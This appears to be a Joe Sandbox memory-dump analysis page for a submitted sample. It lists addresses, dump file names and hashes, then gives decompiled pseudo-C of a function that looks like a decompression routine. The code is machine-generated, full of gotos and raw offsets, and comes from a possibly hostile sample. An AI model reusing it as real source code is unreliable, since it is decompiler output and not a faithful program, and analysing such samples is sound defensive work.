0x00cd762f
0x00cd7632
0x00cd763c
0x00cd7644
0x00cd764a
0x00cd764d
0x00cd76b5
0x00cd76b5
0x00cd76b8
0x00cd76bb
0x00cd76c5
0x00cd76cf
0x00cd76d4
0x00cd76d5
0x00cd76d9
0x00cd76db
0x00cd76df
0x00cd76e1
0x00cd7816
0x00cd7816
0x00cd7819
0x00cd7819
0x00cd781f
0x00cd7821
0x00cd7822
0x00cd7828
0x00cd782a
0x00cd782b
0x00cd7831
0x00cd7833
0x00cd7833
0x00cd7833
0x00cd7831
0x00cd7828
0x00cd7837
0x00cd783d
0x00cd7843
0x00cd7846
0x00cd7849
0x00cd7850
0x00cd7853
0x00cd7871
0x00cd7871
0x00cd787c
0x00cd787e
0x00cd7883
0x00cd7887
0x00cd7889
0x00000000
0x00000000
0x00cd788f
0x00cd788f
0x00cd7891
0x00000000
0x00000000
0x00cd7897
0x00cd7897
0x00cd789f
0x00cd78a2
0x00cd78a8
0x00cd78a9
0x00cd78ac
0x00cd78ae
0x00cd78b0
0x00cd7928
0x00cd7928
0x00cd792a
0x00cd792e
0x00cd7931
0x00cd7934
0x00cd7939
0x00cd793c
0x00cd793f
0x00cd7944
0x00cd7947
0x00cd794a
0x00cd794f
0x00cd7952
0x00cd7955
0x00cd795a
0x00cd795d
0x00cd7960
0x00cd7965
0x00cd7968
0x00cd796b
0x00cd7970
0x00cd7970
0x00cd796b
0x00cd7960
0x00cd7955
0x00cd794a
0x00cd793f
0x00cd7934
0x00000000
0x00cd792a
0x00cd78b2
0x00cd78b2
0x00cd78b6
0x00cd78fc
0x00cd78fe
0x00cd78fe
0x00cd7901
0x00cd7905
0x00cd7907
0x00cd7907
0x00cd790a
0x00cd790f
0x00cd7914
0x00cd7915
0x00cd7917
0x00cd7919
0x00cd791b
0x00cd791b
0x00cd791b
0x00cd7920
0x00cd7924
0x00000000
0x00cd7924
0x00cd78b8
0x00cd78ba
0x00cd78ba
0x00cd78bd
0x00cd78bd
0x00cd78bf
0x00cd78c1
0x00cd78c7
0x00cd78cd
0x00cd78d3
0x00cd78d9
0x00cd78df
0x00cd78e5
0x00cd78e8
0x00cd78eb
0x00cd78ed
0x00cd78f0
0x00cd78f2
0x00cd78f2
0x00cd78f2
0x00cd78f7
0x00000000
0x00cd7855
0x00cd7855
0x00cd7855
0x00cd785e
0x00cd785f
0x00000000
0x00cd785f
0x00cd7853
0x00cd76e7
0x00cd76e7
0x00cd76ea
0x00cd77e5
0x00cd77e8
0x00cd77f1
0x00cd77f9
0x00cd77fd
0x00cd7801
0x00cd7808
0x00cd780b
0x00cd7811
0x00000000
0x00cd7811
0x00cd76f0
0x00cd76f0
0x00cd7725
0x00cd76f2
0x00cd76f5
0x00cd76fe
0x00cd7709
0x00cd770e
0x00cd7712
0x00cd771a
0x00cd7720
0x00cd7720
0x00cd772a
0x00cd7731
0x00cd7737
0x00cd773d
0x00cd7744
0x00cd7770
0x00cd7772
0x00cd7773
0x00cd7774
0x00cd7778
0x00cd777a
0x00cd7798
0x00cd779b
0x00cd77a7
0x00cd77aa
0x00cd77ae
0x00cd77b3
0x00cd77c6
0x00cd77c8
0x00cd77ce
0x00cd77d0
0x00cd77d0
0x00cd77d2
0x00000000
0x00cd77d2
0x00cd777c
0x00cd7782
0x00cd7785
0x00cd7785
0x00cd7785
0x00cd7787
0x00000000
0x00000000
0x00cd7789
0x00cd7789
0x00cd778a
0x00cd778d
0x00cd7790
0x00000000
0x00000000
0x00cd7792
0x00000000
0x00cd7792
0x00cd7794
0x00cd7794
0x00000000
0x00cd7746
0x00cd7746
0x00cd7748
0x00cd774b
0x00cd7755
0x00cd775d
0x00cd7763
0x00cd7766
0x00cd77da
0x00cd77dd
0x00cd77dd
0x00cd77df
0x00cd77df
0x00000000
0x00cd77df
0x00cd7744
0x00cd76bd
0x00cd76bd
0x00000000
0x00cd76bd
0x00cd762b
0x00cd7581
0x00cd7581
0x00cd7588
0x00cd75ac
0x00cd75af
0x00cd75b2
0x00000000
0x00cd758a
0x00cd7596
0x00cd759d
0x00000000
0x00cd759d
0x00cd7588
0x00cd74ec
0x00cd7492
0x00cd7492
0x00cd7494
0x00000000
0x00000000
0x00cd7496
0x00cd7498
0x00cd749d
0x00cd74a3
0x00cd74a9
0x00000000
0x00000000
0x00cd74af
0x00cd74af
0x00cd74c3
0x00cd74c3
0x00cd74ca
0x00cd7da0
0x00cd7da0
0x00000000
0x00cd7da0
0x00000000
0x00cd74ca
0x00cd74b1
0x00cd74b1
0x00cd74b7
0x00cd74bd
0x00000000
0x00000000
0x00000000
0x00cd74bd
0x00cd7401

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14107ab2eb677d89ab82a9e8cd0b58c2513a27d64da7517e3f9df36b52c7f408
Instruction ID: 77a8bad3b12043ebde7b7770b98525763a8d69ae432b24e230c26dff6aa4c391
Opcode Fuzzy Hash: 14107ab2eb677d89ab82a9e8cd0b58c2513a27d64da7517e3f9df36b52c7f408
Instruction Fuzzy Hash: D9622A316087859FCB29CF38C4906F9BBE1AF51304F14866EDAEA8B356E734EA45D710

Uniqueness

Uniqueness Score: -1.00%

Function 00CD887F Relevance: .8, Instructions: 781
COMMONCrypto

Download Yara Rule

C-Code - Quality: 98%

			E00CD887F(signed int __ecx) {
				intOrPtr _t345;
				signed int _t349;
				signed int _t350;
				signed int _t351;
				signed int _t353;
				signed int _t354;
				signed int _t355;
				signed int _t357;
				signed int _t358;
				signed int _t359;
				signed int _t361;
				signed int _t362;
				signed int _t363;
				signed int _t366;
				void* _t368;
				signed int _t371;
				signed int _t372;
				intOrPtr _t374;
				signed int _t384;
				char _t393;
				unsigned int _t394;
				signed int _t401;
				void* _t403;
				signed int _t404;
				signed int _t405;
				intOrPtr _t407;
				signed int _t410;
				char _t419;
				signed int _t421;
				signed int _t423;
				signed int _t424;
				signed int _t425;
				signed int _t426;
				signed int _t429;
				signed int _t430;
				signed short _t431;
				signed int _t434;
				void* _t439;
				signed int _t440;
				signed int _t441;
				intOrPtr _t443;
				signed int _t446;
				char _t455;
				unsigned int _t456;
				signed int _t460;
				unsigned int _t461;
				signed int _t464;
				signed int _t465;
				signed short _t466;
				unsigned int _t468;
				unsigned int _t471;
				unsigned int _t477;
				intOrPtr _t491;
				signed int _t492;
				intOrPtr* _t493;
				signed int _t494;
				intOrPtr _t496;
				intOrPtr _t497;
				intOrPtr _t498;
				intOrPtr _t499;
				unsigned int _t502;
				void* _t504;
				signed int _t507;
				signed int* _t509;
				unsigned int _t512;
				void* _t514;
				signed int _t517;
				signed int _t520;
				signed int _t523;
				void* _t525;
				signed int _t528;
				signed int _t529;
				intOrPtr* _t531;
				void* _t532;
				signed int _t535;
				signed int _t538;
				signed int _t541;
				signed int _t546;
				signed int _t548;
				void* _t550;
				signed int _t553;
				signed int _t555;
				signed int _t557;
				signed int _t560;
				void* _t562;
				signed int _t565;
				signed int _t566;
				signed int _t568;
				signed int _t570;
				void* _t572;
				signed int _t575;
				void* _t576;
				signed int _t579;
				void* _t582;
				signed int _t585;
				intOrPtr* _t588;
				void* _t589;
				signed int _t592;
				void* _t595;
				signed int _t598;
				intOrPtr* _t602;
				void* _t603;
				signed int _t606;
				signed int _t610;
				unsigned int _t612;
				signed int _t615;
				signed int _t616;
				unsigned int _t618;
				signed int _t621;
				void* _t624;
				signed int _t625;
				signed int _t626;
				void* _t629;
				unsigned int _t631;
				signed int _t634;
				signed int _t638;
				void* _t641;
				intOrPtr* _t642;
				intOrPtr* _t643;
				signed int _t644;
				intOrPtr* _t645;
				intOrPtr* _t650;
				intOrPtr* _t651;
				signed int _t653;
				signed int _t655;
				signed int _t656;
				signed int _t657;
				signed int _t658;
				signed int _t659;
				signed int _t660;
				intOrPtr* _t661;
				signed int _t662;
				signed int _t663;
				signed int _t664;
				signed int _t665;
				signed int _t666;
				unsigned int _t670;
				signed int _t671;
				intOrPtr* _t675;
				char* _t676;
				signed int _t679;
				signed int _t680;
				signed int _t681;
				void* _t687;

				_t491 =  *((intOrPtr*)(_t687 + 0x38));
				_t675 = _t491 + 4;
				_t657 = __ecx;
				 *((intOrPtr*)(_t687 + 0x10)) = _t675;
				 *(_t687 + 0x20) = __ecx;
				_t661 = _t491 + 0x18;
				if( *((char*)(_t491 + 0x2c)) != 0) {
					 *((intOrPtr*)(_t687 + 0x10)) = _t675;
					L4:
					_t496 =  *_t661;
					if( *_t675 <=  *((intOrPtr*)(_t491 + 0x24)) + _t496) {
						_t497 = _t496 +  *((intOrPtr*)(_t491 + 0x20)) - 1;
						_t345 =  *((intOrPtr*)(_t491 + 0x4acc)) - 0x10;
						 *((intOrPtr*)(_t687 + 0x28)) = _t497;
						 *((intOrPtr*)(_t687 + 0x14)) = _t345;
						__eflags = _t497 - _t345;
						if(_t497 >= _t345) {
							 *((intOrPtr*)(_t687 + 0x24)) = _t345;
						} else {
							 *((intOrPtr*)(_t687 + 0x24)) = _t497;
						}
						while(1) {
							_t662 =  *(_t657 + 0xe6c8);
							_t610 =  *(_t657 + 0x70) & _t662;
							 *(_t657 + 0x70) = _t610;
							_t498 =  *_t675;
							__eflags = _t498 -  *((intOrPtr*)(_t687 + 0x24));
							if(_t498 <  *((intOrPtr*)(_t687 + 0x24))) {
								goto L19;
							}
							L12:
							__eflags = _t498 -  *((intOrPtr*)(_t687 + 0x28));
							if(__eflags > 0) {
								L145:
								return 1;
							}
							if(__eflags != 0) {
								L16:
								__eflags = _t498 - _t345;
								if(_t498 < _t345) {
									L18:
									__eflags = _t498 -  *((intOrPtr*)(_t491 + 0x4acc));
									if(_t498 >=  *((intOrPtr*)(_t491 + 0x4acc))) {
										L144:
										 *((char*)(_t491 + 0x4ad3)) = 1;
										goto L145;
									}
									goto L19;
								}
								__eflags =  *((char*)(_t491 + 0x4ad2));
								if( *((char*)(_t491 + 0x4ad2)) == 0) {
									goto L144;
								}
								goto L18;
							}
							__eflags =  *((intOrPtr*)(_t491 + 8)) -  *((intOrPtr*)(_t491 + 0x1c));
							if( *((intOrPtr*)(_t491 + 8)) >=  *((intOrPtr*)(_t491 + 0x1c))) {
								goto L145;
							}
							_t345 =  *((intOrPtr*)(_t687 + 0x14));
							goto L16;
							L19:
							_t499 =  *((intOrPtr*)(_t657 + 0x4b30));
							__eflags = (_t499 - _t610 & _t662) - 0x1004;
							if(__eflags > 0) {
								L24:
								_t349 = E00CCBC76(_t675, __eflags);
								_t350 =  *(_t491 + 0xb4);
								_t612 = _t349 & 0x0000fffe;
								__eflags = _t612 -  *((intOrPtr*)(_t491 + 0x34 + _t350 * 4));
								if(_t612 >=  *((intOrPtr*)(_t491 + 0x34 + _t350 * 4))) {
									_t663 = 0xf;
									_t351 = _t350 + 1;
									__eflags = _t351 - _t663;
									if(_t351 >= _t663) {
										L32:
										_t502 =  *(_t675 + 4) + _t663;
										 *(_t675 + 4) = _t502 & 0x00000007;
										_t353 = _t502 >> 3;
										 *_t675 =  *_t675 + _t353;
										_t504 = 0x10;
										_t507 =  *((intOrPtr*)(_t491 + 0x74 + _t663 * 4)) + (_t612 -  *((intOrPtr*)(_t491 + 0x30 + _t663 * 4)) >> _t504 - _t663);
										__eflags = _t507 -  *((intOrPtr*)(_t491 + 0x30));
										asm("sbb eax, eax");
										_t354 = _t353 & _t507;
										__eflags = _t354;
										_t355 =  *(_t491 + 0xcb8 + _t354 * 2) & 0x0000ffff;
										L33:
										_t615 = _t355 & 0x0000ffff;
										__eflags = _t615 - 0x100;
										if(_t615 >= 0x100) {
											__eflags = _t615 - 0x106;
											if(_t615 < 0x106) {
												__eflags = _t615 - 0x100;
												if(_t615 != 0x100) {
													__eflags = _t615 - 0x101;
													if(_t615 != 0x101) {
														_t616 = _t615 + 0xfffffefe;
														__eflags = _t616;
														_t509 = _t657 + (_t616 + 0x15) * 4;
														_t664 =  *_t509;
														 *(_t687 + 0x2c) = _t664;
														if(__eflags == 0) {
															L117:
															 *(_t657 + 0x54) = _t664;
															_t357 = E00CCBC76(_t675, __eflags);
															_t358 =  *(_t491 + 0x2d78);
															_t618 = _t357 & 0x0000fffe;
															__eflags = _t618 -  *((intOrPtr*)(_t491 + 0x2cf8 + _t358 * 4));
															if(_t618 >=  *((intOrPtr*)(_t491 + 0x2cf8 + _t358 * 4))) {
																_t665 = 0xf;
																_t359 = _t358 + 1;
																__eflags = _t359 - _t665;
																if(_t359 >= _t665) {
																	L125:
																	_t512 =  *(_t675 + 4) + _t665;
																	 *(_t675 + 4) = _t512 & 0x00000007;
																	_t361 = _t512 >> 3;
																	 *_t675 =  *_t675 + _t361;
																	_t514 = 0x10;
																	_t517 =  *((intOrPtr*)(_t491 + 0x2d38 + _t665 * 4)) + (_t618 -  *((intOrPtr*)(_t491 + 0x2cf4 + _t665 * 4)) >> _t514 - _t665);
																	__eflags = _t517 -  *((intOrPtr*)(_t491 + 0x2cf4));
																	asm("sbb eax, eax");
																	_t362 = _t361 & _t517;
																	__eflags = _t362;
																	_t363 =  *(_t491 + 0x397c + _t362 * 2) & 0x0000ffff;
																	L126:
																	_t666 = _t363 & 0x0000ffff;
																	__eflags = _t666 - 8;
																	if(_t666 >= 8) {
																		_t366 = (_t666 >> 2) - 1;
																		 *(_t687 + 0x1c) = _t366;
																		_t670 = ((_t666 & 0x00000003 | 0x00000004) << _t366) + 2;
																		__eflags = _t366;
																		if(__eflags != 0) {
																			_t394 = E00CCBC76(_t675, __eflags);
																			_t525 = 0x10;
																			_t670 = _t670 + (_t394 >> _t525 -  *(_t687 + 0x1c));
																			_t528 =  *(_t675 + 4) +  *(_t687 + 0x1c);
																			 *_t675 =  *_t675 + (_t528 >> 3);
																			_t529 = _t528 & 0x00000007;
																			__eflags = _t529;
																			 *(_t675 + 4) = _t529;
																		}
																	} else {
																		_t670 = _t666 + 2;
																	}
																	_t621 =  *(_t657 + 0x70);
																	_t520 = _t621 -  *(_t687 + 0x2c);
																	_t368 =  *((intOrPtr*)(_t657 + 0xe6c4)) + 0xffffeffc;
																	 *(_t657 + 0x68) = _t670;
																	 *(_t687 + 0x1c) = _t520;
																	__eflags = _t520 - _t368;
																	if(_t520 >= _t368) {
																		L140:
																		_t345 =  *((intOrPtr*)(_t687 + 0x14));
																		__eflags = _t670;
																	} else {
																		__eflags = _t621 - _t368;
																		if(_t621 >= _t368) {
																			goto L140;
																		}
																		_t374 =  *((intOrPtr*)(_t657 + 0x4b34));
																		_t676 = _t374 + _t621;
																		_t493 = _t374 + _t520;
																		_t624 = 8;
																		 *(_t657 + 0x70) = _t621 + _t670;
																		__eflags = _t670 - _t624;
																		if(_t670 < _t624) {
																			L84:
																			_t345 =  *((intOrPtr*)(_t687 + 0x14));
																			__eflags = _t670;
																			if(_t670 == 0) {
																				L10:
																				_t491 =  *((intOrPtr*)(_t687 + 0x44));
																				_t675 =  *((intOrPtr*)(_t687 + 0x10));
																				while(1) {
																					_t662 =  *(_t657 + 0xe6c8);
																					_t610 =  *(_t657 + 0x70) & _t662;
																					 *(_t657 + 0x70) = _t610;
																					_t498 =  *_t675;
																					__eflags = _t498 -  *((intOrPtr*)(_t687 + 0x24));
																					if(_t498 <  *((intOrPtr*)(_t687 + 0x24))) {
																						goto L19;
																					}
																					goto L12;
																				}
																			}
																			 *_t676 =  *_t493;
																			_t345 =  *((intOrPtr*)(_t687 + 0x14));
																			__eflags = _t670 - 1;
																			if(_t670 <= 1) {
																				goto L10;
																			}
																			 *((char*)(_t676 + 1)) =  *((intOrPtr*)(_t493 + 1));
																			_t345 =  *((intOrPtr*)(_t687 + 0x14));
																			__eflags = _t670 - 2;
																			if(_t670 <= 2) {
																				goto L10;
																			}
																			 *((char*)(_t676 + 2)) =  *((intOrPtr*)(_t493 + 2));
																			_t345 =  *((intOrPtr*)(_t687 + 0x14));
																			__eflags = _t670 - 3;
																			if(_t670 <= 3) {
																				goto L10;
																			}
																			 *((char*)(_t676 + 3)) =  *((intOrPtr*)(_t493 + 3));
																			_t345 =  *((intOrPtr*)(_t687 + 0x14));
																			__eflags = _t670 - 4;
																			if(_t670 <= 4) {
																				goto L10;
																			}
																			 *((char*)(_t676 + 4)) =  *((intOrPtr*)(_t493 + 4));
																			_t345 =  *((intOrPtr*)(_t687 + 0x14));
																			__eflags = _t670 - 5;
																			if(_t670 <= 5) {
																				goto L10;
																			}
																			 *((char*)(_t676 + 5)) =  *((intOrPtr*)(_t493 + 5));
																			_t345 =  *((intOrPtr*)(_t687 + 0x14));
																			__eflags = _t670 - 6;
																			if(_t670 <= 6) {
																				goto L10;
																			}
																			_t491 =  *((intOrPtr*)(_t687 + 0x44));
																			 *((char*)(_t676 + 6)) =  *((intOrPtr*)(_t493 + 6));
																			L95:
																			_t675 =  *((intOrPtr*)(_t687 + 0x10));
																			L35:
																			_t345 =  *((intOrPtr*)(_t687 + 0x14));
																			continue;
																			do {
																				do {
																					do {
																						_t662 =  *(_t657 + 0xe6c8);
																						_t610 =  *(_t657 + 0x70) & _t662;
																						 *(_t657 + 0x70) = _t610;
																						_t498 =  *_t675;
																						__eflags = _t498 -  *((intOrPtr*)(_t687 + 0x24));
																						if(_t498 <  *((intOrPtr*)(_t687 + 0x24))) {
																							goto L19;
																						}
																						goto L12;
																					} while (_t670 == 0);
																					_t401 =  *(_t657 + 0x54);
																					_t626 =  *(_t657 + 0x70);
																					_t538 = _t626 - _t401;
																					 *(_t687 + 0x2c) = _t401;
																					_t403 =  *((intOrPtr*)(_t657 + 0xe6c4)) + 0xffffeffc;
																					 *(_t687 + 0x1c) = _t538;
																					__eflags = _t538 - _t403;
																					if(_t538 >= _t403) {
																						L112:
																						_t404 =  *(_t657 + 0xe6c8);
																						_t494 =  *(_t687 + 0x1c);
																						do {
																							_t405 = _t404 & _t494;
																							_t494 = _t494 + 1;
																							 *((char*)( *((intOrPtr*)(_t657 + 0x4b34)) + _t626)) =  *((intOrPtr*)(_t405 +  *((intOrPtr*)(_t657 + 0x4b34))));
																							_t404 =  *(_t657 + 0xe6c8);
																							_t626 =  *(_t657 + 0x70) + 0x00000001 & _t404;
																							 *(_t657 + 0x70) = _t626;
																							_t670 = _t670 - 1;
																							__eflags = _t670;
																						} while (_t670 != 0);
																						L143:
																						_t491 =  *((intOrPtr*)(_t687 + 0x44));
																						goto L35;
																					}
																					__eflags = _t626 - _t403;
																					if(_t626 >= _t403) {
																						goto L112;
																					}
																					_t407 =  *((intOrPtr*)(_t657 + 0x4b34));
																					_t676 = _t407 + _t626;
																					_t493 = _t407 + _t538;
																					_t629 = 8;
																					 *(_t657 + 0x70) = _t626 + _t670;
																					__eflags = _t670 - _t629;
																					if(_t670 < _t629) {
																						goto L84;
																					}
																					__eflags =  *(_t687 + 0x2c) - _t670;
																					if( *(_t687 + 0x2c) >= _t670) {
																						_t410 = _t670 >> 3;
																						__eflags = _t410;
																						 *(_t687 + 0x2c) = _t410;
																						_t659 = _t410;
																						do {
																							E00CE2C10(_t676, _t493, _t629);
																							_t687 = _t687 + 0xc;
																							_t629 = 8;
																							_t493 = _t493 + _t629;
																							_t676 = _t676 + _t629;
																							_t670 = _t670 - _t629;
																							_t659 = _t659 - 1;
																							__eflags = _t659;
																						} while (_t659 != 0);
																						L83:
																						_t657 =  *(_t687 + 0x20);
																						goto L84;
																					}
																					_t541 = _t670 >> 3;
																					__eflags = _t541;
																					do {
																						_t670 = _t670 - _t629;
																						 *_t676 =  *_t493;
																						 *((char*)(_t676 + 1)) =  *((intOrPtr*)(_t493 + 1));
																						 *((char*)(_t676 + 2)) =  *((intOrPtr*)(_t493 + 2));
																						 *((char*)(_t676 + 3)) =  *((intOrPtr*)(_t493 + 3));
																						 *((char*)(_t676 + 4)) =  *((intOrPtr*)(_t493 + 4));
																						 *((char*)(_t676 + 5)) =  *((intOrPtr*)(_t493 + 5));
																						 *((char*)(_t676 + 6)) =  *((intOrPtr*)(_t493 + 6));
																						_t419 =  *((intOrPtr*)(_t493 + 7));
																						_t493 = _t493 + _t629;
																						 *((char*)(_t676 + 7)) = _t419;
																						_t676 = _t676 + _t629;
																						_t541 = _t541 - 1;
																						__eflags = _t541;
																					} while (_t541 != 0);
																					goto L84;
																				} while (_t670 == 0);
																				_t371 =  *(_t657 + 0xe6c8);
																				_t492 =  *(_t687 + 0x1c);
																				do {
																					_t372 = _t371 & _t492;
																					_t492 = _t492 + 1;
																					 *((char*)( *((intOrPtr*)(_t657 + 0x4b34)) + _t621)) =  *((intOrPtr*)(_t372 +  *((intOrPtr*)(_t657 + 0x4b34))));
																					_t371 =  *(_t657 + 0xe6c8);
																					_t621 =  *(_t657 + 0x70) + 0x00000001 & _t371;
																					 *(_t657 + 0x70) = _t621;
																					_t670 = _t670 - 1;
																					__eflags = _t670;
																				} while (_t670 != 0);
																				goto L143;
																				L92:
																				_t675 =  *((intOrPtr*)(_t687 + 0x10));
																				_t345 =  *((intOrPtr*)(_t687 + 0x14));
																				__eflags = _t670;
																			} while (_t670 == 0);
																			_t440 =  *(_t657 + 0xe6c8);
																			_t681 =  *(_t687 + 0x2c);
																			do {
																				_t441 = _t440 & _t681;
																				_t681 = _t681 + 1;
																				 *((char*)( *((intOrPtr*)(_t657 + 0x4b34)) + _t638)) =  *((intOrPtr*)(_t441 +  *((intOrPtr*)(_t657 + 0x4b34))));
																				_t440 =  *(_t657 + 0xe6c8);
																				_t638 =  *(_t657 + 0x70) + 0x00000001 & _t440;
																				 *(_t657 + 0x70) = _t638;
																				_t670 = _t670 - 1;
																				__eflags = _t670;
																			} while (_t670 != 0);
																			goto L95;
																		}
																		__eflags =  *(_t687 + 0x2c) - _t670;
																		if( *(_t687 + 0x2c) >= _t670) {
																			_t384 = _t670 >> 3;
																			__eflags = _t384;
																			 *(_t687 + 0x2c) = _t384;
																			_t658 = _t384;
																			do {
																				E00CE2C10(_t676, _t493, _t624);
																				_t687 = _t687 + 0xc;
																				_t624 = 8;
																				_t493 = _t493 + _t624;
																				_t676 = _t676 + _t624;
																				_t670 = _t670 - _t624;
																				_t658 = _t658 - 1;
																				__eflags = _t658;
																			} while (_t658 != 0);
																			goto L83;
																		}
																		_t523 = _t670 >> 3;
																		__eflags = _t523;
																		do {
																			_t670 = _t670 - _t624;
																			 *_t676 =  *_t493;
																			 *((char*)(_t676 + 1)) =  *((intOrPtr*)(_t493 + 1));
																			 *((char*)(_t676 + 2)) =  *((intOrPtr*)(_t493 + 2));
																			 *((char*)(_t676 + 3)) =  *((intOrPtr*)(_t493 + 3));
																			 *((char*)(_t676 + 4)) =  *((intOrPtr*)(_t493 + 4));
																			 *((char*)(_t676 + 5)) =  *((intOrPtr*)(_t493 + 5));
																			 *((char*)(_t676 + 6)) =  *((intOrPtr*)(_t493 + 6));
																			_t393 =  *((intOrPtr*)(_t493 + 7));
																			_t493 = _t493 + _t624;
																			 *((char*)(_t676 + 7)) = _t393;
																			_t676 = _t676 + _t624;
																			_t523 = _t523 - 1;
																			__eflags = _t523;
																		} while (_t523 != 0);
																		goto L84;
																	}
																}
																_t531 = _t491 + (_t359 + 0xb3e) * 4;
																while(1) {
																	__eflags = _t618 -  *_t531;
																	if(_t618 <  *_t531) {
																		break;
																	}
																	_t359 = _t359 + 1;
																	_t531 = _t531 + 4;
																	__eflags = _t359 - 0xf;
																	if(_t359 < 0xf) {
																		continue;
																	}
																	goto L125;
																}
																_t665 = _t359;
																goto L125;
															}
															_t532 = 0x10;
															_t625 = _t618 >> _t532 - _t358;
															_t535 = ( *(_t625 + _t491 + 0x2d7c) & 0x000000ff) +  *(_t675 + 4);
															 *_t675 =  *_t675 + (_t535 >> 3);
															 *(_t675 + 4) = _t535 & 0x00000007;
															_t363 =  *(_t491 + 0x317c + _t625 * 2) & 0x0000ffff;
															goto L126;
														} else {
															goto L116;
														}
														do {
															L116:
															 *_t509 =  *(_t509 - 4);
															_t509 = _t509 - 4;
															_t616 = _t616 - 1;
															__eflags = _t616;
														} while (__eflags != 0);
														goto L117;
													}
													_t670 =  *(_t657 + 0x68);
													_t345 =  *((intOrPtr*)(_t687 + 0x14));
													__eflags = _t670;
												}
												_push(_t687 + 0x30);
												_t421 = E00CD516A(_t657, _t675);
												__eflags = _t421;
												if(_t421 == 0) {
													goto L145;
												}
												_t423 = E00CD3733(_t657, _t687 + 0x30);
												__eflags = _t423;
												if(_t423 == 0) {
													goto L145;
												}
												goto L35;
											}
											_t671 = _t615 - 0x106;
											__eflags = _t671 - 8;
											if(__eflags >= 0) {
												_t679 = (_t671 >> 2) - 1;
												_t670 = ((_t671 & 0x00000003 | 0x00000004) << _t679) + 2;
												__eflags = _t679;
												if(__eflags == 0) {
													_t675 =  *((intOrPtr*)(_t687 + 0x10));
												} else {
													_t477 = E00CCBC76( *((intOrPtr*)(_t687 + 0x10)), __eflags);
													_t595 = 0x10;
													_t670 = _t670 + (_t477 >> _t595 - _t679);
													_t598 =  *((intOrPtr*)( *((intOrPtr*)(_t687 + 0x10)) + 4)) + _t679;
													_t675 =  *((intOrPtr*)(_t687 + 0x10));
													 *_t675 =  *_t675 + (_t598 >> 3);
													 *(_t675 + 4) = _t598 & 0x00000007;
												}
											} else {
												_t670 = _t671 + 2;
											}
											_t424 = E00CCBC76(_t675, __eflags);
											_t425 =  *(_t491 + 0xfa0);
											_t631 = _t424 & 0x0000fffe;
											__eflags = _t631 -  *((intOrPtr*)(_t491 + 0xf20 + _t425 * 4));
											if(_t631 >=  *((intOrPtr*)(_t491 + 0xf20 + _t425 * 4))) {
												_t546 = 0xf;
												_t426 = _t425 + 1;
												 *(_t687 + 0x18) = _t546;
												__eflags = _t426 - _t546;
												if(_t426 >= _t546) {
													L50:
													_t548 =  *(_t675 + 4) +  *(_t687 + 0x18);
													 *_t675 =  *_t675 + (_t548 >> 3);
													_t429 =  *(_t687 + 0x18);
													 *(_t675 + 4) = _t548 & 0x00000007;
													_t550 = 0x10;
													_t553 =  *((intOrPtr*)(_t491 + 0xf60 + _t429 * 4)) + (_t631 -  *((intOrPtr*)(_t491 + 0xf1c + _t429 * 4)) >> _t550 - _t429);
													__eflags = _t553 -  *((intOrPtr*)(_t491 + 0xf1c));
													asm("sbb eax, eax");
													_t430 = _t429 & _t553;
													__eflags = _t430;
													_t431 =  *(_t491 + 0x1ba4 + _t430 * 2) & 0x0000ffff;
													goto L51;
												}
												_t588 = _t491 + (_t426 + 0x3c8) * 4;
												while(1) {
													__eflags = _t631 -  *_t588;
													if(_t631 <  *_t588) {
														break;
													}
													_t426 = _t426 + 1;
													_t588 = _t588 + 4;
													__eflags = _t426 - 0xf;
													if(_t426 < 0xf) {
														continue;
													}
													goto L50;
												}
												 *(_t687 + 0x18) = _t426;
												goto L50;
											} else {
												_t589 = 0x10;
												_t655 = _t631 >> _t589 - _t425;
												_t592 = ( *(_t655 + _t491 + 0xfa4) & 0x000000ff) +  *(_t675 + 4);
												 *_t675 =  *_t675 + (_t592 >> 3);
												 *(_t675 + 4) = _t592 & 0x00000007;
												_t431 =  *(_t491 + 0x13a4 + _t655 * 2) & 0x0000ffff;
												L51:
												_t634 = _t431 & 0x0000ffff;
												__eflags = _t634 - 4;
												if(_t634 >= 4) {
													_t434 = (_t634 >> 1) - 1;
													 *(_t687 + 0x1c) = _t434;
													_t555 = ((_t634 & 0x00000001 | 0x00000002) << _t434) + 1;
													 *(_t687 + 0x2c) = _t555;
													_t680 = _t555;
													 *(_t687 + 0x18) = _t680;
													__eflags = _t434;
													if(_t434 == 0) {
														L70:
														__eflags = _t680 - 0x100;
														if(_t680 > 0x100) {
															_t670 = _t670 + 1;
															__eflags = _t680 - 0x2000;
															if(_t680 > 0x2000) {
																_t670 = _t670 + 1;
																__eflags = _t680 - 0x40000;
																if(_t680 > 0x40000) {
																	_t670 = _t670 + 1;
																	__eflags = _t670;
																}
															}
														}
														 *(_t657 + 0x60) =  *(_t657 + 0x5c);
														 *(_t657 + 0x5c) =  *(_t657 + 0x58);
														 *(_t657 + 0x58) =  *(_t657 + 0x54);
														 *(_t657 + 0x54) = _t680;
														_t638 =  *(_t657 + 0x70);
														_t557 = _t638 - _t680;
														_t439 =  *((intOrPtr*)(_t657 + 0xe6c4)) + 0xffffeffc;
														 *(_t657 + 0x68) = _t670;
														 *(_t687 + 0x2c) = _t557;
														__eflags = _t557 - _t439;
														if(_t557 >= _t439) {
															goto L92;
														} else {
															__eflags = _t638 - _t439;
															if(_t638 >= _t439) {
																goto L92;
															}
															_t443 =  *((intOrPtr*)(_t657 + 0x4b34));
															_t676 = _t443 + _t638;
															_t493 = _t443 + _t557;
															_t641 = 8;
															 *(_t657 + 0x70) = _t638 + _t670;
															__eflags = _t670 - _t641;
															if(_t670 < _t641) {
																goto L84;
															}
															__eflags =  *(_t687 + 0x18) - _t670;
															if( *(_t687 + 0x18) >= _t670) {
																_t446 = _t670 >> 3;
																__eflags = _t446;
																 *(_t687 + 0x2c) = _t446;
																_t660 = _t446;
																do {
																	E00CE2C10(_t676, _t493, _t641);
